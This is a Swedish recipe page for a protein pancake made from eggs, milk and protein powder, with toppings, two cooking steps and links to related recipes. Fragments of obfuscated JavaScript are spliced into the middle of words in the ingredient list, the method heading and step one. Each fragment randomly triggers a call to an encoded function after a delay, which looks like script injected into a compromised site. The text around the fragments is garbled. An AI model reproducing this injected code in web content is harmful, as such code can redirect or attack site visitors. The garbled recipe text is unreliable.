Proteinpannkaka

2013-05-22
imageimage
  • Yield : 1
  • Servings : 1
  • Prep Time : 5m
  • Cook Time : 5m
  • Ready In : 10m

Ingredienser

• 2 Ägg
• 2 msk Mjölk
• 1 Skopa Proteinpulver, Jordgubb el. liknandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e
(Jordgubb/ Vit Choklad Fitnessguru)
• Keso, Banan & Jordgubbar
• Salt & Kanel

Genomförandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e

Steg 1

Kläck äggen i en skål & blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a med proteinpulvret.
Tillsätt kanel & lite salt

Steg 2

Stek i smör på låg värme

Toppa med keso, skivad banan & jordgubbar

(En pannkaka räcker ofta då det ger bra energi och den mättar bra av äggen och proteinpulvret)

Medlemsbetyg

(3.2 / 5)

3.2 5 6
Betygsätt recept

6 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0985

    Lowcarb Carbonara

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • _SAM0671

    Sremska korv med rostad gulbeta, potatis, sparris, spenat, svartvitlök med fetaostkräm

Recipe Comments

Post A Comment

Current ye@r *